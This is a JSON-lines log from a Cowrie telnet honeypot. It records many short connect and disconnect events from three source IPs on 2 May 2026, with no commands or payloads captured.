{"eventid":"cowrie.session.closed","duration":31.659909963607788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:51.793025Z","src_ip":"199.231.212.75","session":"534dba9ef787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59564,"dst_ip":"10.17.0.5","dst_port":23,"session":"25d86bbba04e","protocol":"telnet","message":"New connection: 164.68.122.45:59564 (10.17.0.5:23) [session: 25d86bbba04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:52.114823Z"}
{"eventid":"cowrie.session.closed","duration":30.510308742523193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:52.253541Z","src_ip":"164.68.122.45","session":"248f04d35f9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59570,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5cd8b0f841","protocol":"telnet","message":"New connection: 164.68.122.45:59570 (10.17.0.5:23) [session: bf5cd8b0f841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:52.272501Z"}
{"eventid":"cowrie.session.closed","duration":31.323936939239502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:52.320972Z","src_ip":"164.68.122.45","session":"d3fc7cbafe89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39905571937561,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:52.348844Z","src_ip":"86.120.107.100","session":"aa8992761f93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570584774017334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:52.353593Z","src_ip":"164.68.122.45","session":"5bb16acad315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.608820915222168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:52.359436Z","src_ip":"199.231.212.75","session":"e1dcf910f009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33152,"dst_ip":"10.17.0.5","dst_port":23,"session":"91fd8f6301e7","protocol":"telnet","message":"New connection: 199.231.212.75:33152 (10.17.0.5:23) [session: 91fd8f6301e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:52.651453Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59610,"dst_ip":"10.17.0.5","dst_port":23,"session":"4611fa5f0353","protocol":"telnet","message":"New connection: 164.68.122.45:59610 (10.17.0.5:23) [session: 4611fa5f0353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:52.842909Z"}
{"eventid":"cowrie.session.closed","duration":31.202228546142578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:52.851887Z","src_ip":"164.68.122.45","session":"4130dd27b1a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59612,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ac6239162c","protocol":"telnet","message":"New connection: 164.68.122.45:59612 (10.17.0.5:23) [session: b0ac6239162c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:52.904260Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59620,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdb39fe69b90","protocol":"telnet","message":"New connection: 164.68.122.45:59620 (10.17.0.5:23) [session: cdb39fe69b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:53.040035Z"}
{"eventid":"cowrie.session.closed","duration":30.382686376571655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:53.089372Z","src_ip":"164.68.122.45","session":"fdee5ad2582b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33160,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aa0ae57cee5","protocol":"telnet","message":"New connection: 199.231.212.75:33160 (10.17.0.5:23) [session: 4aa0ae57cee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:53.208665Z"}
{"eventid":"cowrie.session.closed","duration":30.9059419631958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:53.264475Z","src_ip":"164.68.122.45","session":"6a4fae5259d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.168849229812622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:53.692117Z","src_ip":"199.231.212.75","session":"da8429b7bf73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33168,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0df3183a0cf","protocol":"telnet","message":"New connection: 199.231.212.75:33168 (10.17.0.5:23) [session: a0df3183a0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:53.837133Z"}
{"eventid":"cowrie.session.closed","duration":30.812899589538574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:54.146284Z","src_ip":"164.68.122.45","session":"2e9a31e218a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33184,"dst_ip":"10.17.0.5","dst_port":23,"session":"3907bf6ab0ca","protocol":"telnet","message":"New connection: 199.231.212.75:33184 (10.17.0.5:23) [session: 3907bf6ab0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:54.198737Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59710,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbb9a7a71103","protocol":"telnet","message":"New connection: 164.68.122.45:59710 (10.17.0.5:23) [session: dbb9a7a71103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:54.932923Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33196,"dst_ip":"10.17.0.5","dst_port":23,"session":"431d83c73ad1","protocol":"telnet","message":"New connection: 199.231.212.75:33196 (10.17.0.5:23) [session: 431d83c73ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:55.047914Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33204,"dst_ip":"10.17.0.5","dst_port":23,"session":"99385fd5819b","protocol":"telnet","message":"New connection: 199.231.212.75:33204 (10.17.0.5:23) [session: 99385fd5819b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:55.082336Z"}
{"eventid":"cowrie.session.closed","duration":31.09727954864502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:55.090831Z","src_ip":"86.120.107.100","session":"68ab7959e7d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43565559387207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:55.094436Z","src_ip":"164.68.122.45","session":"08e134ba3756","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.997330904006958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:55.172209Z","src_ip":"86.120.107.100","session":"a60f8f206322","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39790630340576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:55.710355Z","src_ip":"164.68.122.45","session":"6fa3a12d5e3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59748,"dst_ip":"10.17.0.5","dst_port":23,"session":"f81fc84f7d7b","protocol":"telnet","message":"New connection: 164.68.122.45:59748 (10.17.0.5:23) [session: f81fc84f7d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:56.074423Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cb26626b624","protocol":"telnet","message":"New connection: 86.120.107.100:38128 (10.17.0.5:23) [session: 6cb26626b624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:56.125487Z"}
{"eventid":"cowrie.session.closed","duration":30.783439874649048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:56.227425Z","src_ip":"199.231.212.75","session":"b35994af017f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54862356185913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:56.242150Z","src_ip":"164.68.122.45","session":"9d1452a8848d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79297924041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:56.385948Z","src_ip":"164.68.122.45","session":"f0b02fb3a5ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59766,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaec099f2e5c","protocol":"telnet","message":"New connection: 164.68.122.45:59766 (10.17.0.5:23) [session: aaec099f2e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:56.394987Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33216,"dst_ip":"10.17.0.5","dst_port":23,"session":"29fdf3c25c56","protocol":"telnet","message":"New connection: 199.231.212.75:33216 (10.17.0.5:23) [session: 29fdf3c25c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:56.563175Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59800,"dst_ip":"10.17.0.5","dst_port":23,"session":"de0e5a021bd9","protocol":"telnet","message":"New connection: 164.68.122.45:59800 (10.17.0.5:23) [session: de0e5a021bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:56.884718Z"}
{"eventid":"cowrie.session.closed","duration":31.584697484970093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:56.927941Z","src_ip":"199.231.212.75","session":"177b373a86b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59832,"dst_ip":"10.17.0.5","dst_port":23,"session":"32cf71aedda8","protocol":"telnet","message":"New connection: 164.68.122.45:59832 (10.17.0.5:23) [session: 32cf71aedda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:57.162056Z"}
{"eventid":"cowrie.session.closed","duration":31.404982328414917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:57.540365Z","src_ip":"164.68.122.45","session":"4fbee9f2fac2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59860,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ece547fd02f","protocol":"telnet","message":"New connection: 164.68.122.45:59860 (10.17.0.5:23) [session: 8ece547fd02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:57.669967Z"}
{"eventid":"cowrie.session.closed","duration":31.703224897384644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:57.818274Z","src_ip":"164.68.122.45","session":"9eec7a5f4efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59874,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e7b20d7ba7d","protocol":"telnet","message":"New connection: 164.68.122.45:59874 (10.17.0.5:23) [session: 2e7b20d7ba7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:57.842963Z"}
{"eventid":"cowrie.session.closed","duration":30.85760998725891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:58.051790Z","src_ip":"199.231.212.75","session":"8b6d15c013b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.663155794143677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:58.070091Z","src_ip":"86.120.107.100","session":"633f7676738c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58276391029358,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:58.080476Z","src_ip":"164.68.122.45","session":"6d8c273517d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44288730621338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:58.088546Z","src_ip":"164.68.122.45","session":"0f14779e02c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33218,"dst_ip":"10.17.0.5","dst_port":23,"session":"057dcb0985a6","protocol":"telnet","message":"New connection: 199.231.212.75:33218 (10.17.0.5:23) [session: 057dcb0985a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:58.498208Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33220,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad0de69d0c5b","protocol":"telnet","message":"New connection: 199.231.212.75:33220 (10.17.0.5:23) [session: ad0de69d0c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:58.664540Z"}
{"eventid":"cowrie.session.closed","duration":31.338744401931763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:58.733206Z","src_ip":"164.68.122.45","session":"32bbce5afb62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59934,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1d8755e0e1b","protocol":"telnet","message":"New connection: 164.68.122.45:59934 (10.17.0.5:23) [session: a1d8755e0e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:59.087148Z"}
{"eventid":"cowrie.session.closed","duration":31.13180637359619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:59.094774Z","src_ip":"164.68.122.45","session":"a7210523db59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59948,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4dbfd92b16c","protocol":"telnet","message":"New connection: 164.68.122.45:59948 (10.17.0.5:23) [session: d4dbfd92b16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:59.116628Z"}
{"eventid":"cowrie.session.closed","duration":30.971277713775635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:59.122397Z","src_ip":"164.68.122.45","session":"278ac3e667c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90906000137329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:59.127009Z","src_ip":"164.68.122.45","session":"8a34b4cb3aae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59984,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c292b9674f8","protocol":"telnet","message":"New connection: 164.68.122.45:59984 (10.17.0.5:23) [session: 0c292b9674f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:59.725311Z"}
{"eventid":"cowrie.session.closed","duration":30.92221713066101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:00.074656Z","src_ip":"86.120.107.100","session":"17eecb3acd7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43440,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ffd51d45e54","protocol":"telnet","message":"New connection: 164.68.122.45:43440 (10.17.0.5:23) [session: 9ffd51d45e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:00.340543Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33930,"dst_ip":"10.17.0.5","dst_port":23,"session":"525af77fcd34","protocol":"telnet","message":"New connection: 199.231.212.75:33930 (10.17.0.5:23) [session: 525af77fcd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:01.984392Z"}
{"eventid":"cowrie.session.closed","duration":30.604681491851807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:02.203178Z","src_ip":"86.120.107.100","session":"e3896efdbc9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.933448314666748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:02.305292Z","src_ip":"164.68.122.45","session":"e8aaa2dc370b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33940,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3af7e4eb5fc","protocol":"telnet","message":"New connection: 199.231.212.75:33940 (10.17.0.5:23) [session: f3af7e4eb5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:02.800373Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":38134,"dst_ip":"10.17.0.5","dst_port":23,"session":"b90708fe1eb0","protocol":"telnet","message":"New connection: 86.120.107.100:38134 (10.17.0.5:23) [session: b90708fe1eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:02.844214Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43446,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b08a8eca46","protocol":"telnet","message":"New connection: 164.68.122.45:43446 (10.17.0.5:23) [session: 61b08a8eca46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:02.863453Z"}
{"eventid":"cowrie.session.closed","duration":31.09174346923828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:02.880072Z","src_ip":"199.231.212.75","session":"8354d7b56b29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33946,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d2d7f1139b","protocol":"telnet","message":"New connection: 199.231.212.75:33946 (10.17.0.5:23) [session: a7d2d7f1139b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:02.898260Z"}
{"eventid":"cowrie.session.closed","duration":31.12333345413208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:02.904387Z","src_ip":"164.68.122.45","session":"f35b876c9022","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33950,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4415c61de04","protocol":"telnet","message":"New connection: 199.231.212.75:33950 (10.17.0.5:23) [session: e4415c61de04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:02.999214Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":38136,"dst_ip":"10.17.0.5","dst_port":23,"session":"e32b66bf3b18","protocol":"telnet","message":"New connection: 86.120.107.100:38136 (10.17.0.5:23) [session: e32b66bf3b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:03.005178Z"}
{"eventid":"cowrie.session.closed","duration":30.986151456832886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:03.522406Z","src_ip":"199.231.212.75","session":"058656734ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43452,"dst_ip":"10.17.0.5","dst_port":23,"session":"102489e9d660","protocol":"telnet","message":"New connection: 164.68.122.45:43452 (10.17.0.5:23) [session: 102489e9d660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:03.996555Z"}
{"eventid":"cowrie.session.closed","duration":31.093351125717163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:04.126997Z","src_ip":"86.120.107.100","session":"7f6a3da8787e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.620945692062378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:04.389989Z","src_ip":"199.231.212.75","session":"bdc566e26089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39288902282715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:04.521965Z","src_ip":"164.68.122.45","session":"66b9ce1f8d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33958,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf71f57a0a4","protocol":"telnet","message":"New connection: 199.231.212.75:33958 (10.17.0.5:23) [session: 7cf71f57a0a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:04.612301Z"}
{"eventid":"cowrie.session.closed","duration":31.229843854904175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:04.634187Z","src_ip":"164.68.122.45","session":"d5784f0e38f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33972,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6e96b0900e1","protocol":"telnet","message":"New connection: 199.231.212.75:33972 (10.17.0.5:23) [session: d6e96b0900e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:04.694126Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43462,"dst_ip":"10.17.0.5","dst_port":23,"session":"65b3186cd3a2","protocol":"telnet","message":"New connection: 164.68.122.45:43462 (10.17.0.5:23) [session: 65b3186cd3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:04.903477Z"}
{"eventid":"cowrie.session.closed","duration":30.894386529922485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:05.064782Z","src_ip":"199.231.212.75","session":"b4f27aa961d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36881923675537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:05.097420Z","src_ip":"86.120.107.100","session":"577eb557b56d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.419495344161987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:05.116791Z","src_ip":"164.68.122.45","session":"341f34ae98f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43466,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cff30de8dfc","protocol":"telnet","message":"New connection: 164.68.122.45:43466 (10.17.0.5:23) [session: 0cff30de8dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:05.153888Z"}
{"eventid":"cowrie.session.closed","duration":30.53794264793396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:05.158714Z","src_ip":"86.120.107.100","session":"d4f55ee8f4e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43480,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f1137f3fdfa","protocol":"telnet","message":"New connection: 164.68.122.45:43480 (10.17.0.5:23) [session: 0f1137f3fdfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:05.165200Z"}
